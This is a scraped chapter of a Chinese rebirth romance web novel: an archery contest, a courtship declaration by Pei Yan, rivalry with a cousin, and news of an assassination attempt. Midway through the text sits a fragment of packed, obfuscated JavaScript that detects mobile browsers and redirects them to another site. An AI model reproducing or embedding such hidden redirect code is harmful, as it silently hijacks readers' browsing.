默认冷灰
24号文字
方正启体

9. 第 9 章

作者:黎炘本书字数:K更新时间:
    裴焉说的这番话,真叫房幽活见鬼了。


    往轻了说,他是在纡尊降贵,堂堂王爷向她一个外姓乡君讨饶;往重了说,他这是登徒浪子作派,在调戏她!


    可房幽上辈子、这辈子加起来,都没有见过裴焉这么不正经的样子,这猜测实在有些耸人听闻。


    裴昱也呆愣住,一时不确定他那淡漠无情的三哥是否不知不觉中被人换了芯子。


    两个人还一副未曾回魂的模样,裴焉已举起弓箭瞄了瞄,朝房幽挑眉:“怎么比?”


    房幽被他激得好胜心起来。


    他装什么装,真以为自个儿是个才及笄的小女郎,眨眨眼就能被他迷住啊!


    她道:“比就比!不过殿下是边地将领,武法高强早有耳闻。公平起见,殿下应用左手放箭!”


    裴昱咽了下,看看这胆子极大的姑奶奶,一时没弄清状况。


    裴焉昂了昂下巴,示意她先请。


    射箭共十次,谁射的靶子好,准头稳,谁便胜出。


    房幽抓握着自个儿的那把小弓,射出第一箭——


    与上次一样,正中红心。


    裴焉紧随其后,利箭没入靶子正中央,箭尖位置与她的紧贴在一起。


    “好!殿下好箭术!”


    房幽滞了下,挪动脚步继续去下一个靶子。


    第二个、第三个……每一箭都如第一箭,他们先后射出的飞箭,都落在了同样的位置。


    紧密地贴在一起。


    围观人群发出连连惊叹,这二人箭术皆是上佳,也不知结果如何。


    房幽的心却如同被蚂蚁灼咬,麻麻的。


    微风自面颊拂过,带来了裴焉身上的气味。


    是些许夹杂着冷兵器的生铁味——


    “天天忙着去军营,你就没空陪我是不是!”


    “既然如此,你就多给我拨几个侍卫,墨一、墨二、墨三、墨四……干脆你夜里也别回来,就让侍卫陪着我好了!”


    裴焉横她一眼:“又说浑话。”


    他慢条斯理地为她擦着弓箭。


    许久未用,上面落了灰,他细致地一点点抹去,再递给她。


    “赶明儿给你做把新的。”他道。


    房幽有被哄好的迹象,唇角微微向上翘着,面上仍佯装不悦:“我才不要!你跟你的士兵们一块过日子去吧!”


    裴焉:“真不要?前几日你说西域进献来的珠宝,我得了一箱,想着给你镶嵌在弓箭上头,当是不错的。”


    房幽一想到那些璀璨耀眼的珠宝石头布满了整张弓,带出去要让女郎们艳羡得不成样子,心里便高兴极了。


    她扑过去,搂住他的脖子:“不给我,你还想给谁!”


    裴焉垂眸看她,恶狠狠的,像个色厉内荏的小老虎。


    他试着拉了下弓:“这把也着实用得太久,弦都松了,是该换了。”


    房幽气急:“哪有,这是我阿兄做给我的,是最好的。”


    她是为房渊骄傲,下意识反驳,然而裴焉却不大舒服,他们兄妹,比旁人家更亲密。


    似乎是为了证实,他取了一支箭插上射出,将将只到箭靶外围。


    房幽挤开他的手,冷哼了声:“是你箭术不好,看我的。”


    她专心致志地瞄准靶心,放开后嘴巴嘟起,模仿着发出“咻”的一声,箭飞到了靶心外一点点。


    女郎有些不可置信地睁大眼,疑心是不是自个儿的箭术出了差错,不肯在夫君面前落了面子,她嘴硬:“方才手抖了,我再试一次。”


    然而,裴焉先一步有了动作,他温热的手掌覆盖住了她的,轻松地张弓,低声:“我帮你。”


    他们那时是在燕王府的练武场上,周遭虽已清退练武的侍卫,却有些近侍守在周边。


    他另只手正搭在她的腰间,紧紧贴着。


    这是裴焉头次在光天化日之下这般与她亲近,房幽一时懵然。


    她感觉他用了劲儿,带着她的手往后拉,而后松开。


    箭尖没入红圈。


    房幽反应过来,这把弓确实老了,需要用大力才行。


    她抬眸去看他,见他目光遥望过去,有些哄她的意味:“是还好。”


    房幽心潮涌急,念头闪了下,便踮起脚尖将唇落在了他的下巴上。


    有些青青的胡渣,扎嘴。


    她捂住。


    裴焉低头。


    逆着光,房幽看不清他的表情,却倏地感觉她的鼻尖一凉。


    他亲了一下,转瞬即离。


    那时她的鼻腔里,也满是他的味道。


    最后一箭,裴焉的箭与前面的别无二致,顺着插入靶心,却因力道太大,带着她的那支冲了出去。


    周边有将士发出哄笑:“殿下,您这最后一支倒出了差错。”


    裴焉摇头:“技不如人,房娘子箭术绝佳。”


    房幽抠着手掌心,说不清是什么心情——他哪是技不如人,他分明最能控制射箭力道了。


    裴昱则松了口气:还好,他三哥知晓让一让女郎,否则真要惹房娘子生气了。


    忽而跑进来个内监,跑到裴昱身旁低声言语。他脸色稍稍凝重,与众人告罪一声,遂离去。


    此处便只剩下了房幽与裴焉。


    她握着自个儿的小弓,眼睛瞟向绿茵茵的草地,装作不知裴焉还在这儿。


    “房娘子。”


    房幽惊讶抬头,戏感有待提高。


    裴焉道:“某姓裴名焉,任大庆镇北大将军,庆元二十年被封燕王。母早丧,无同胞姊妹,长于边地燕门关,数月前回京。”


    房幽装傻充愣的神态快要裂开,她被裴焉这副作态闹得不知该作何反应。


    他是不是忘了,他们死前就和离了!


    裴焉继续:“我倾慕房娘子,万望娘子垂怜。”


    房幽这下是真真吃惊了。


    她双眸睁圆,不可置信地看向他——他这一脸死人样,哪像是求爱,是索命还差不多!


    她勉强自个儿笑了下:“殿下,您莫拿我寻开心。”


    裴焉轻拧了下眉:“哪里寻你开心,这些话都是真的。”


    房幽自然晓得他不会说谎,但正因如此,才更显可怖。


    她退后一步:“我与殿下相见不过寥寥数面,天底下哪里的倾慕来得这样快,我要去找我堂妹了,殿下自便。”


    她飞快跑掉,仿佛正被一只饥肠辘辘的饿狼追赶。


    裴焉回想了下前世。


    他分明记得,他与房幽京郊初见没几日,她便对自个儿如此说辞了。


    怎么换了他,她便言之凿凿没有这样快的倾慕了?


    *


    房幽足足跑了半盏茶功夫,横跨了半个雍王府,待跑到女郎们多些的地方才停下来,抚着胸口喘粗气。


    当真是活见鬼了!裴焉玩什么把戏!是觉得纠缠一世不够,还要纠缠第二世么!


    她惊魂未定,便有一人递了杯茶过来。


    她一口灌下,余光扫了下那人,这才发觉是个不大熟悉的女郎。


    房幽抿唇笑了笑,朝她道谢:“多谢这位娘子。”


    她轻轻摇头,面容眉宇间多有病气。


    大抵是瞧出房幽眼中的好奇,她自报家门:“我名卢佩音,卢家三女。”


    房幽恍然。


    是那位先天不足,在寺中清修固体的卢氏女郎,也是在春日宴上被雍王裴昱回绝赐婚的那一位。


    房幽一时有些不自然。


    前世卢佩音确是皇后,但雍王即位不过一载,她便病体沉疴,香消玉殒。


    今生自个儿想做皇后,勾了裴昱的心,却没想到这位要如何自处。


    胸腔中升腾起愧疚,房幽抿了下唇,只好再次道谢。


    气氛尴尬,卢佩音又不善言辞,房幽便开口:“卢娘子回上京多久了?”


    “不过数月。”她面色淡淡,见房幽坐立不安,主动道,“此处与清心寺不同,大伙都带着笑,又爱玩闹。在寺中时,总是安静祥和的。”


    房幽听出她语气中的欣羡。


    想也知晓,一个年岁尚轻的女郎,终日被拘在山野寺庙,既无玩伴,也无趣事,如何不会憋闷。


    她思前想后,斟酌着说:“若你愿意,可以跟我或周娘子、楚娘子玩,我们府中都常常开小席。”


    卢佩音面上浮现讶然,眸光闪烁了下,立时点头:“房娘子相邀,我当然愿意。”


    此时,房浅慢悠悠走过来,房幽不自觉松了一口气。


    房浅站定,目光灼灼望向她:“阿姊。”


    仿佛有话要说。


    房幽便起身,与卢佩音打了个招呼,跟着她走到一丛锦簇的花团前。


    “我看见了,也听见了。”房浅冷不丁道。


    房幽莫名其妙:“什么?”


    她笑里含着得意:“你前脚与雍王暧昧不清,后脚便与燕王又搭上了线。阿姊,你好大的本事。”


    “你想作何?”房幽问。


    房浅:“我要你把雍王,让,给,我。”


    “噗——”房幽没忍住,哧笑一声。


    她是当真没想到,狗改不了吃屎,房浅改不了看上她房幽要的人。


    房浅听她这般嘲弄的笑声,心中恼火。


    “你若是不肯,那我只好把这事儿捅出去。”


    房幽揉了揉方才因射箭太多而有些酸涨的手心,无动于衷:“你且去张扬,看谁人信你,再看你说出去以后,我阿耶会怎么对你,又怎么对你们二房。”


    说罢,她转身就走,没理这个两辈子都拎不清的堂妹。


    身后仇视的目光太过灼人,她自然能感受到。


    这两世,无论她做什么,不做什么,总能让房浅恨上。


    这大约就是,命定宿敌。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541229|170986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >*


    自从裴焉发疯以后,房幽接连两日没睡好。


    梦里总出现他那句“万望娘子垂怜”,吓得她惊醒过来,直愣愣地盯着床幔发呆。


    十年夫妻,裴焉都没与她说过“倾慕”,今生为何肯说了?


    苦思冥想也找不到理由,只能归咎于他大抵是嫌再找一个妻子太过麻烦,倒不如选择她。


    这般安慰了自个儿,房幽总算放下了下。


    近日来,卢佩音常常与她们几个女郎一块玩,纵然挑剔清高如周灵筱,也夸赞她懂礼节,为人温柔。


    房幽又心虚又别扭,每每见她都能想到前世之事。


    她做事总是顾头不顾腚,想到这茬便忘了那茬——由此,卢佩音的婚事她处理不来,只好装聋作哑,且先这么过着。


    毕竟,皇后之位她舍不去,卢家女这么一个可怜可爱的人,她也下不去手对付。


    四月底,夏日的燥热已然有了些许痕迹。几个女郎在草场上纵马奔腾,房幽下了场,在八角帐篷中纳凉歇息。


    卢佩音也在。她骑的是匹温顺听话的母马,不参与争夺马球,只随着马儿悠悠乱走晃荡。


    她扬起手臂,笑着冲望过来的房幽挥了挥手。


    房幽深吸一口气,亦是挥挥手。


    眼神错开,却见有人正往她这里走来,宽肩窄腰,面容冷峻,正是裴焉那厮。


    她瞬时头皮发麻,起身装作没看见他,想从后门离开,那人却已开了口:“房娘子。”


    房幽轻轻呼出一声,认命地转身行礼:“燕王殿下。”


    裴焉坐到椅子上,顺手倒了杯茶给自个儿:“坐。”


    房幽咬牙,他倒是自来熟。


    别无他法,她只能依言坐回来,盯着桌面不动也不吱声。


    裴焉瞧她这副模样,心中好笑。


    同一个人,怎就变化如此之大呢?前世死缠烂打也要嫁给他,今生却避如蛇蝎。


    难不成,是他近来忙于军务,风吹日晒、夙夜未眠,面貌比前世差了?


    他不自觉抬了下手,想去摸脸,最终又放下。


    裴焉敲了敲桌子,解释自个儿出现在这儿的因由:“今日休沐,正好带我的马儿来此放松。”


    房幽“哦”了一声。


    她猜也是如此。


    裴焉对他那匹马可谓感情深厚,是战场上过命的交情,什么兄弟、女人都不如他的马。他即使是得了风寒卧病在床,也要爬起来带着他的马儿去溜一圈。


    虽则军营里能养得马儿膘肥体壮,但马场这样的富贵窝,有专人洗澡、挠痒、加餐,也适合偶尔带马儿来享受一番。


    “……它的名字叫追风,你可要去瞧瞧?”裴焉性情淡漠,向来话少,如今对上这个忽然寡言的妻子,只能绞尽脑汁地想话题。


    房幽拒绝:“不要。”


    她也觉着有些生硬,便加上一句:“外边太热了。”


    裴焉回忆了下,她夏日里又要冰块又要冰饮,比之寻常女郎更为严重,确是怕热的体质,便也不勉强了。


    房幽与他共处一室,浑身上下都不自在。她是打定了主意今生不嫁给他,但到底做了十年夫妻,哪能有想象中那般坦然,况且这人又发疯朝自个儿表露了心意。


    她神色郁郁,忽听裴焉开口:“你缘何怕我?”


    他问得直接,让房幽愣了一下。


    思来想去,她便也径直答道:“殿下每每对我,皆是神情严肃,面上从没有一丝笑容,好似面对仇敌一般。房幽不过一介俗人,只想与待我好的人在一起。还请燕王殿下自重,莫要再说那些话,也莫要再来找我。”


    她本就心情不畅,面对他那问话更不想遮掩,索性寻了他的不是来说。


    她想,能惹裴焉气恼再好不过。


    裴焉听她说完,眉头皱得愈深。但见她负气站起来离开,心中无奈。


    难不成,她今生更偏向与裴昱相熟,竟是因为那厮脸上不要钱的笑容么?


    况且,说她怕他,其实是不怕,也不在意,毕竟哪家女郎敢对他这个态度。


    房幽气冲冲地登上马车,吩咐身边的男仆:“你去与她们知会一声,我先归家了。”


    没意思,裴昱像是人间蒸发,裴焉倒是没事儿就在眼前晃悠。


    夏夜,房幽躺在榻上,双手双脚大开。她烦躁得厉害,心里闷闷的,总觉得要发生什么事情一般。


    好不容易熬出睡意,半梦半醒间,却见湘元冲进来,闹出了些动静。


    房幽惊醒,猛地坐起来:“发生了何事?”


    湘元面色踌躇,纠结两息,很快道:“女郎,郎君出事了!”


    他们东西两苑向来是分开称呼,她口中的郎君只有一位,即房渊。


    房幽心里那点儿恐慌达到顶峰:“怎么了?”


    “郎君遭人刺杀,目下被抬回了军营救治,主君已策马过去了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)